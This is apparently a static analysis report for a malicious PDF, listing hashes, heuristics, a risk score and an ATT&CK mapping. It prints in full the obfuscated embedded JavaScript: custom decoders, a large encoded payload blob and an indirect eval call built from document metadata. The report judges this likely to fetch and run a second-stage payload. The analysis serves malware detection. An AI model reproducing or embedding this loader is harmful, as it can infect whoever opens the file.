Malicious PDF — malware analysis report

Static analysis result for SHA-256 9288ed0170996947…

MALICIOUS

PDF

6.4 KB Created: 2011-03-02 10:16:46 Authoring application: ncrN First seen: 2012-09-24
MD5: 6b6b5cfa7b2b21b0bb9215feaee8fad2 SHA-1: 809212ee9e9150c292cf805b5638379f66f1c8be SHA-256: 9288ed01709969474a157a14b1ae1f636e2ed157c6611f7c3efeb9f1ba335249
134 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named 'javascript_obj0008_000.js', is obfuscated and likely intended to download and execute a second-stage payload. The use of String.fromCharCode further suggests obfuscation techniques common in malware delivery. The overall purpose appears to be the execution of arbitrary code via the embedded script.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    <</Type/Action/S/JavaScript/JS(\nfunction mwdk\(guIOmh\){var _Omn2YX='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',eArtQ='',eNSY1WWg,ZfyuyjN9,wN,WWwnpRX,zf7gEW,MM,abD43M1;for\(var dMZV8=0;dMZV8<guIOmh.length;\){eNSY1WWg=_Omn2YX.indexOf\(guIOmh.charAt\(dMZV8++\)\);ZfyuyjN9=_Omn2YX.indexOf\(guIOmh.charAt\(dMZV8++\)\);wN=_Omn2YX.indexOf\(guIOmh.charAt\(dMZV8++\)\);WWwnpRX=_Omn2YX.indexOf\(guIOmh.charAt\(dMZV8++\)\);zf7gEW=\(eNSY1WWg<<2\)+\(ZfyuyjN9>>4\);MM=\(\(ZfyuyjN9&15\)<<4 …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x22D 5507 bytes
SHA-256: a3322c79088cb6042b24f34346b8316bf7e7f2c8d9d94ba5de35abaa9dd6ee47
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 76 of 116 identifiers look randomly generated (e.g. 'oJyrh6ecq4ennKuHp5yrh6ecq4amm6qGppuqhqab') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function mwdk(guIOmh){var _Omn2YX='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',eArtQ='',eNSY1WWg,ZfyuyjN9,wN,WWwnpRX,zf7gEW,MM,abD43M1;for(var dMZV8=0;dMZV8<guIOmh.length;){eNSY1WWg=_Omn2YX.indexOf(guIOmh.charAt(dMZV8++));ZfyuyjN9=_Omn2YX.indexOf(guIOmh.charAt(dMZV8++));wN=_Omn2YX.indexOf(guIOmh.charAt(dMZV8++));WWwnpRX=_Omn2YX.indexOf(guIOmh.charAt(dMZV8++));zf7gEW=(eNSY1WWg<<2)+(ZfyuyjN9>>4);MM=((ZfyuyjN9&15)<<4)+(wN>>2);abD43M1=((wN&3)<<6)+WWwnpRX;eArtQ+=String.fromCharCode(zf7gEW);if(wN!=64)eArtQ+=String.fromCharCode(MM);if(WWwnpRX!=64)eArtQ+=String.fromCharCode(abD43M1);}
return eArtQ;}
function JIUpxTr(lWqX,RdY0){var qyg94cX='',ar2C=0;for(SAofxOP=0;SAofxOP<lWqX.length;SAofxOP++){qyg94cX+=String.fromCharCode(lWqX.charCodeAt(SAofxOP)-RdY0.charCodeAt(ar2C++));if(ar2C>=RdY0.length)ar2C=0;}
return qyg94cX;}
sgcj0UW=JIUpxTr(mwdk('eNnTwI7F3MHVoJlz45yih56I54eenKJz46aigZ+I54awmaZz45Sqgp6I54Kem7Rz45u0gZ6I536xl6Jz45qqhrKI54awlLVz45u0gbSI54Cemqlz46ekgZ+I536jqLRz46akkZ+I54Gek6lz45mokaCI54CipLZz45qnkrSI54afqadz46W1lKCI54Ohmalz45qnhLSI54awqKZz45Oqg7SI54KimbNz46ejg6+I54CnqKRz45urkqKI55OwqKdz45izgrSI54ahmKRz45iok6+I54Ojm6tz45iofqKI54awmKlz45a1haGI54Wim7Rz45qqgaGI55Kzk6Nz45u0g6SI54Cemqhz46e3fp+I55GnlqNz45iigqeI54+yl6Nz46m4gZ+I5360lqhz45SmkLOI54Gmk6Vz45qmlKCI55Gfk6pz45O2kbSI55Klk6Nz46i0gp6I54OmqLhz46apgaeI55Ojmqdz45u0g7OI54Cil6hz46eqfp+I54awmahz45eqfrGI54Okm7Rz45Ojf7GI54awp7Nz45uzfqKI55Kmk6Nz45i3g7SI55GhmKJz45q2hrKI54Olk6pz46Wqg6CI55GvlqVz45i0hq+I54+gqKpz46m4lLSI54Geqbhz45urkZ6I55Sgqbdz45e4j7OI54Sjpapz45mngLOI54+wmqpz45yqhKSI54+wmahz45m1kJ6I55Gim6pz45iih6aI54S0mapz45W3hLOI54SmmaZz45qkhaOI54SymbVz46Wqg6KI54Kzm7dz46i1frOI54Ojqbhz45ylfqKI54GfmKJz45iikZ6I54OkmKJz45inhrCI54ahk6Zz45q4kaCI55Ggm6Vz45ikgZ+I55CmmKJz45SzgaSI54Welbhz45inlLSI54Owk6Zz46m4gZ+I54OkmKlz45yqkKaI54avqbdz46m4frOI536imKdz46Wqg6WI55GzqLhz45mik56I54Ojqbhz45mqfqKI54WimqZz45azhZ6I54C0lbhz45m0hJ+I54Sgmadz45mnhaaI54CzmbNz45m4hKGI54Shlbdz45W4hKGI54WemqVz45anhLGI54Sxlbhz45mjhLSI54CzmaZz45mqhZ6I54G0mqJz45a2hKOI536elqR1qcnnvNHX273cg9fI5NWawM+P48eX3um218/XduDEoLrT0dnC1o2kit/cm8ngxJ2L4MSty3jV04vgxKDB48XlwuDM4LWWk56/55Kkd6nV18Lj1eBu4MSty3jJ57zR19u93IPUxpaM7cTP1ZKy2cqvvNPako/g1dPHloytxM/VksTloKLGnsaisZ7GorGp2dPAjsTWsuCgosaik6J+npOtxM/Vkr7P3N69z8evw9zI5bHP09d20M3ltZee6K/gg+Wxzc/XvKvT08fa0tOynM/XvNXX2nignuiv4IPjx6vE1rLgkJrB0cLes9yOosahm5uJ5MTkbufE5MHeoOe809bVr97ImnCT2Kt+p5OXw6eTq36QjK3Hz9XlvqvI7MTgi+uv4Nbiet/cm4nkxORu0dLnvOKVr3bk2p9+5peifp6TonedxNay4J7YveCL6K/gg9W949Hmi56e1b3j0eaK0dLnvOKVrbHd2ODCmY6bydLO2anR0ue84sCvx8/V5b6Z09PH2tLTsqngfMTP1ZK95MjktNrS6Yvj0dfB0cTis5aFl8OexqKxk9iisZ7GlHep2tq32siaveTI5LTa0ul82sjgteLLroKinKeAl97hxNPV2Lrd2p2L3dnXwNTP4cWp4HzC1szlfNHS3rrPxcXC3dXXi7HS3rrPxaCx3c/es9HXt7vPzN6X3MnhdunW57DYnZRwmtDltajS6LPgyd695eCbiett2MPcxua33dGSvuDM4MLUi5vJ3NLii+PR18HRxOKzloWXw56koo+T2KKPnqSXw56koo+T2KKPnqSUd6nZ08CO09PH2tLTsqvY4LPhxtO+04vUuOHKm4nWyNO+0M/hsdmg4L3ejuKv58/hr9Ke1LfVxd690c6vw9zI5bHP09d2kIjnfq+Ts3Pjk7N+r4WbidbI07LT1eW36MivgJ6e5b7gxOuL1sjTstPV5bfoyJ2208TisNrS1bmcz9e81dfaieXL27rTi9S31cXevdHOoLrT0dnC1p/lvuDE63fpxdu10M/hsdmOr7DXytS63cbdiett2Lfaz9S63cbdi9DM2bDa0tW5nNbnsOHX5Lfcypp+mtbiwM/cm4nQz+Gx2aDUt9XF3r3RzqDB48XlwuDM4LWWk56w18rUut3G3XzayOC14sufwd7V08eXnum218/XdtDP4bHZkd6z3MrmtpnW4sDP3K5+5peifp6Tm8nQz+Gx2aDUut3G3XnQz+Gx2Y7Yt9rP1Lrdxt2J623fs9ug4LPlg7PA4MTrdpee2L3gi9uLnp7bip+Xon6pzJ15l97fs9u+26urxd690c6dttPE4rDa0tW5qeB8xM/Vkrzj0K9/oJyrh6ecq4ennKuHp5yrh6ecq4amm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqoamm6qGppuqhqabqonj19u6nNPkt9zX2HaQiKaDnpOitJCP4MPbjK3LeMnnvNHX273cg9mz4szVvdyLm8nkxORuz9Xkx6vR18WOpOTAz9yad6nM2HbP0+J80tLVfLHS3rrPxaC109e7sd3Rm8nkxORu3sTrut3E1ovj0dfB0cTis5bF3MHVjK3Ez9WStsXUp36epsCL3sTrut3E1nzayOC14sucgKnZ08CO1OuLntumfp6Ton6bi9ql35iifrGxnX7mlqp3qdnTwI7c08Dh06/D3Mjlsc/T13aQiOeHnpyic+OcooeehZuJ58Tkwd6g18jk1ZrHz9XlvprU63ep2dPAjtOnj9iuqIPUoJp+5pPVftGT1X7RkKLGopOifp6Tm32e26Z+npOifqnJ4cCW2dPAjtnjsb+nq4TnoKKJ5NTVn7KcqMeq06eP2K6og9Se6L/RtLaHpNydeZfe08Dg3M3E38bDkqeZ66ur3NPA4dOdvs/c3r3Px63LeNnTwI7Xx5vWsdSV5aDnvNPW1a/eyJpwk5OrcJee6bbXz9d24ri/trzFucWcz9e81dfaip7bpn6ek5vJ4ri/trzFucWZoOaju8vAsLXarct418eb1rHUleWglJychZ3Cw7DanNCq6YnP0+J80tLVfLHS3rrPxaC109e7sd3RmsLDsNqc0Krpd6ng71jPs97D1czgwavE4r6c097D1azgwanZ08CO1uiL3sTkwdOs4MKWxOK+nNnbs+XI5KTT1eW33dGgwt225sDX0dl2l5HVts/Vs8KWk5t3qcnhwJbZ08COzK9+qcyur77P57XX0eV82sjgteLLrbeZjpvJ18mar77P57XX0eWp18CgvM/Q14urireh0dXbvuKKm8nkxORu2tmvr77P57XX0eWp18CgxNPV5bfd0a3L623btJaL3sSroKt36t+aduHZr4umjJh0ls/oiquboH+gjJt36crXwtfG4byWjK3L08/ls47M2Hba2a+LpZGjd+nT5Lfc19h2l57vs9rW127XyZp2ltboi6uZm8rqi+XEq6Cpd5eJmHba2a6FnJSjd5fe1MaWjK3L08/ls47M2HaWz+iMq5ygf5ff7nba2a6Lp5Gkd+rfmrrkoa+GnJSld+rfmrrkn6+GnJSpd5fe2MPcxua33dGSr5aM7cPizN583tXbvOLHmnXeo6N/n5Sjf5+Uo3+flKN/n5Sjf5+Uo3+flJKIjtzrx+eUo3+Vj+Cz5YO2r+LImneXnu9Y5MTkbtag077ekeK648q7vOGe2L3gi+iv4IPYi56e2IrWkd6z3MrmtqnJnXmX3tu0lsvNtMuR4K/byK+LlajFseDM4sKVjO3Ez9WSt6vLzbTLkeiz4Nbbvdye78t4zNh2lsywhpyUpHeUiZq3qpuggJeM7bGr0dfFjqTkwM/cmnep2dPAjsevw9zI5bHP09d2lYjnh56conPjnKKHnoqbieTE5G7ToOe809bVr97ImrDY1tl3qdrat9rImrKcz9e81dfaiquT6oaek6J36cedi9Ke71jSoNZ84djUweLVmn6ak+qGnpOie9OR3rPcyua2l57YveCL2IuentiKoJyifqnJnXmX3tWp1MCvspnIrct4xJp3qcSad6nX5Mfp19q34ZHfs9LM03zcyOme2sTrs+CL4MPaz5uJ68bTwtHLmrOX3u9Yz4ubievg'),this.producer);iniam3G=this.author;eHo_0=this[iniam3G];eHo_0(sgcj0UW);

Open this report in the interactive analyzer, or submit your own file for analysis.